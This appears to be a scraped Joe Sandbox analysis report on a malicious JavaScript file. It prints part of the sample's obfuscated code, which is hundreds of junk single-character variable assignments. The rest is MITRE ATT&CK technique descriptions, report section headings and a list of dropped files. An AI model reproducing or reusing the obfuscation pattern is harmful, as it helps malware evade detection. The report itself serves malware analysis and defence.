1152	ufrwxnmxo = "W";
1153	ufrwxnmxo = "N";
1154	ufrwxnmxo = "i";
1155	ufrwxnmxo = "a";
1156	ufrwxnmxo = "x";
1157	ufrwxnmxo = "e";
1158	ufrwxnmxo = "w";
1159	askvvifpy = "c";
1160	askvvifpy = "g";
1161	askvvifpy = "Z";
1162	askvvifpy = "U";
1163	askvvifpy = "l";
1164	askvvifpy = "D";
1165	askvvifpy = "X";
1166	askvvifpy = "e";
1167	askvvifpy = "q";
1168	askvvifpy = "F";
1169	askvvifpy = "a";
1170	askvvifpy = "k";
1171	askvvifpy = "Y";
1172	askvvifpy = "1";
1173	fmvwy = "A";
1174	fmvwy = "B";
1175	fmvwy = "c";
1176	fmvwy = "N";
1177	fmvwy = "c";
1178	fmvwy = "Y";
1179	fmvwy = "Y";
1180	fmvwy = "a";
1181	fmvwy = "z";
1182	fmvwy = "g";
1183	fmvwy = "I";
1184	fmvwy = "t";
1185	fmvwy = "I";
1186	fmvwy = "o";
1187	fmvwy = "\\";
1188	jvexfa = "b";
1189	jvexfa = "I";
1190	jvexfa = "H";
1191	jvexfa = "P";
1192	jvexfa = "d";
1193	jvexfa = "R";
1194	jvexfa = "m";
1195	jvexfa = "c";
1196	jvexfa = "W";
1197	jvexfa = "i";
1198	oheolumb = "x";
1199	oheolumb = "Y";
1200	oheolumb = "L";
1201	oheolumb = "w";
1202	oheolumb = "H";
1203	oheolumb = "F";
1204	oheolumb = "W";
1205	oheolumb = "t";
1206	oheolumb = "u";
1207	oheolumb = "m";
1208	oheolumb = "P";
1209	oheolumb = "j";
1210	oheolumb = "n";
1211	oheolumb = "q";
1212	oheolumb = "I";
1213	oheolumb = "e";
1214	oheolumb = "o";
1215	oheolumb = "F";
1216	oheolumb = "x";
1217	oheolumb = "y";
1218	oheolumb = "z";
1219	oheolumb = "G";
1220	oheolumb = "P";
1221	oheolumb = "R";
1222	oheolumb = "k";
1223	oheolumb = "L";
1224	oheolumb = "h";
1225	oheolumb = "U";
1226	oheolumb = "q";
1227	oheolumb = "-";
1228	fypiwghza = "J";
1229	fypiwghza = "j";
1230	fypiwghza = "R";
1231	fypiwghza = "J";
1232	fypiwghza = "H";
1233	fypiwghza = "T";
1234	fypiwghza = "y";
1235	fypiwghza = "g";
1236	fypiwghza = "O";
1237	fypiwghza = "i";
1238	fypiwghza = "M";
1239	fypiwghza = "_";
1240	eehylwu = "R";
1241	eehylwu = "e";
1242	eehylwu = "x";
1243	eehylwu = "k";
1244	eehylwu = "J";
1245	eehylwu = "p";
1246	eehylwu = "J";
1247	eehylwu = "C";
1248	eehylwu = "R";
1249	eehylwu = "c";
1250	eehylwu = "E";
1251	eehylwu = "b";
1252	eehylwu = "u";
1253	eehylwu = "q";
1254	eehylwu = "x";
1255	eehylwu = "X";
1256	eehylwu = "s";
1257	eehylwu = "a";
1258	eehylwu = "i";
1259	eehylwu = "W";
1260	eehylwu = "m";
1261	eehylwu = "t";
1262	eehylwu = "T";
1263	eehylwu = "H";
1264	eehylwu = "m";
1265	eehylwu = "B";
1266	eehylwu = "d";
1267	eehylwu = "k";
1268	eehylwu = "c";
1269	eehylwu = "d";
1270	eehylwu = "Y";
1271	eehylwu = "N";
1272	hqyfcu = "F";
1273	hqyfcu = "d";
1274	hqyfcu = "m";
1275	hqyfcu = "Y";
1276	nuzjrpdi = "v";
1277	nuzjrpdi = "D";
1278	nuzjrpdi = "d";
1279	nuzjrpdi = "m";
1280	nuzjrpdi = "i";
1281	nuzjrpdi = "N";
1282	nuzjrpdi = "G";
1283	nuzjrpdi = "c";
1284	nuzjrpdi = "c";
1285	egszephvy = "Z";
1286	egszephvy = "b";
1287	egszephvy = "A";
1288	egszephvy = "Y";
1289	egszephvy = "B";
1290	egszephvy = "Z";
1291	egszephvy = "q";
1292	egszephvy = "Z";
1293	egszephvy = "Q";
1294	egszephvy = "n";
1295	egszephvy = "K";
1296	egszephvy = "F";
1297	egszephvy = "F";
1298	egszephvy = "S";
1299	egszephvy = "W";
1300	egszephvy = "C";
1301	egszephvy = "s";
1302	egszephvy = "x";
1303	egszephvy = "k";
1304	egszephvy = "l";
1305	egszephvy = "R";
1306	ouwlzmvze = "Q";
1307	ouwlzmvze = "Q";
1308	ouwlzmvze = "j";
1309	ouwlzmvze = "u";
1310	ouwlzmvze = "M";
1311	ouwlzmvze = "r";
1312	ouwlzmvze = "O";
1313	ouwlzmvze = "8";
1314	tdxgqw = "E";
1315	jvydg = "A";
1316	jvydg = "w";
1317	jvydg = "N";
1318	jvydg = "V";
1319	jvydg = "G";
1320	jvydg = "T";
1321	jvydg = "t";
1322	jvydg = "R";
1323	jvydg = "N";
1324	jvydg = "A";
1325	jvydg = "J";
1326	jvydg = "Y";
1327	jvydg = "F";
1328	jvydg = "z";
1329	jvydg = "F";
1330	jvydg = "i";
1331	jvydg = "Y";
1332	jvydg = "L";
1333	jvydg = "s";
1334	jvydg = "K";
1335	jvydg = "O";
1336	jvydg = "y";
1337	jvydg = "M";
1338	jvydg = "V";
1339	jvydg = "V";
1340	jvydg = "v";
1341	jvydg = "e";
1342	jvydg = "J";
1343	jvydg = "T";
1344	jvydg = "e";
1345	jvydg = "C";
1346	szxffs = "U";
1347	szxffs = "a";
1348	szxffs = "k";
1349	szxffs = "o";
1350	szxffs = "l";
1351	szxffs = "Y";
1352	szxffs = "T";
1353	szxffs = "V";
1354	szxffs = "N";
1355	szxffs = "b";
1356	szxffs = "a";
1357	szxffs = "T";
1358	szxffs = "j";
1359	szxffs = "j";
1360	szxffs = "i";
1361	szxffs = "V";
1362	szxffs = "r";
1363	szxffs = "B";
1364	szxffs = "S";
1365	szxffs = "p";
1366	szxffs = "V";
1367	szxffs = "O";
1368	szxffs = "n";
1369	szxffs = "k";
1370	szxffs = "o";
1371	szxffs = "s";
1372	szxffs = "p";
1373	szxffs = "x";
1374	szxffs = "j";
1375	szxffs = "N";
1376	szxffs = "V";
1377	szxffs = "W";
1378	szxffs = "i";
1379	szxffs = "m";
1380	szxffs = "f";
1381	szxffs = "Z";
1382	szxffs = "L";
1383	szxffs = "y";
1384	szxffs = "p";
1385	bfevb = "B";
1386	bfevb = "t";
1387	bfevb = "m";
1388	bfevb = "i";
1389	bfevb = "d";
1390	bfevb = "a";
1391	bfevb = "V";
1392	bfevb = "u";
1393	bfevb = "P";
1394	bfevb = "p";
1395	bfevb = "b";
1396	bfevb = "z";
1397	bfevb = "E";
1398	bfevb = "G";
1399	bfevb = "X";
1400	bfevb = "u";
1401	bfevb = "C";
1402	bfevb = "r";
1403	bfevb = "q";
1404	bfevb = "o";
1405	bfevb = "K";
1406	bfevb = "r";
1407	ndihe = "b";
1408	ndihe = "w";
1409	ndihe = "b";
1410	ndihe = "w";
1411	ndihe = "l";
1412	ndihe = "A";
1413	ndihe = "f";
1414	ndihe = "l";
1415	ndihe = "F";
1416	ndihe = "D";
1417	ndihe = "I";
1418	ndihe = "I";
1419	ndihe = "e";
1420	ndihe = "r";
1421	ndihe = "c";
1422	ndihe = "K";
1423	ndihe = "A";
1424	ndihe = "v";
1425	grnjfsgn = "N";
1426	grnjfsgn = "F";
1427	grnjfsgn = "g";
1428	grnjfsgn = "h";
1429	grnjfsgn = "h";
1430	grnjfsgn = "k";
1431	grnjfsgn = "x";
1432	grnjfsgn = "f";
1433	grnjfsgn = "W";
1434	grnjfsgn = "W";
1435	grnjfsgn = "Q";
1436	grnjfsgn = "X";
1437	grnjfsgn = "I";
1438	grnjfsgn = "4";
1439	hqxnnfjuy = "P";
1440	hqxnnfjuy = "v";
1441	hqxnnfjuy = "H";
1442	hqxnnfjuy = "x";
1443	hqxnnfjuy = "v";
1444	hqxnnfjuy = "W";
1445	hqxnnfjuy = "u";
1446	hqxnnfjuy = "z";
1447	hqxnnfjuy = "J";
1448	hqxnnfjuy = "j";
1449	hqxnnfjuy = "V";
1450	hqxnnfjuy = "W";
1451	hqxnnfjuy = "x";
1452	hqxnnfjuy = "W";
1453	hqxnnfjuy = "g";
1454	hqxnnfjuy = "o";
1455	hqxnnfjuy = "v";
1456	hqxnnfjuy = "H";
1457	hqxnnfjuy = "K";
1458	hqxnnfjuy = "H";
1459	hqxnnfjuy = "I";
1460	hqxnnfjuy = "e";
1461	hqxnnfjuy = "R";
1462	hqxnnfjuy = "V";
1463	hqxnnfjuy = "k";
1464	hqxnnfjuy = "X";
1465	hqxnnfjuy = "H";
1466	hqxnnfjuy = "j";
1467	hqxnnfjuy = "E";
1468	hqxnnfjuy = "P";
1469	hqxnnfjuy = "t";
1470	pmflfk = "x";
1471	pmflfk = "E";
1472	pmflfk = "t";
1473	pmflfk = "F";
1474	pmflfk = "x";
1475	pmflfk = "c";
1476	pmflfk = "J";
1477	pmflfk = "j";
1478	pmflfk = "X";
1479	pmflfk = "O";
1480	pmflfk = "f";
1481	wnocxw = "c";
1482	wnocxw = "m";
1483	wnocxw = "j";
1484	wnocxw = "D";
1485	wnocxw = "z";
1486	wnocxw = "m";
1487	wnocxw = "x";
1488	wnocxw = "P";
1489	wnocxw = "T";
1490	wnocxw = "f";
1491	wnocxw = "B";
1492	wnocxw = "S";
1493	wnocxw = "i";
1494	wnocxw = "D";
1495	wnocxw = "F";
1496	wnocxw = "x";
1497	wnocxw = "c";
1498	wnocxw = "I";
1499	wnocxw = "R";
1500	wnocxw = "O";
1501	wnocxw = "Z";
1502	wnocxw = "Y";
1503	wnocxw = "C";
1504	wnocxw = "h";
1505	wnocxw = "D";
1506	wnocxw = "l";
1507	wnocxw = "b";
1508	wnocxw = "n";
1509	wnocxw = "U";
1510	wnocxw = "o";
1511	wnocxw = "q";
1512	wnocxw = "e";
1513	wnocxw = "Z";
1514	wnocxw = "K";
1515	wnocxw = "p";
1516	wnocxw = "R";
1517	wnocxw = "L";
1518	xxofx ( );	xxofx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 247714231173424547.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\52ecadbe-b672-4d8a-8e63-a7f9e54dd3e3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7736

Windows Analysis Report
247714231173424547.js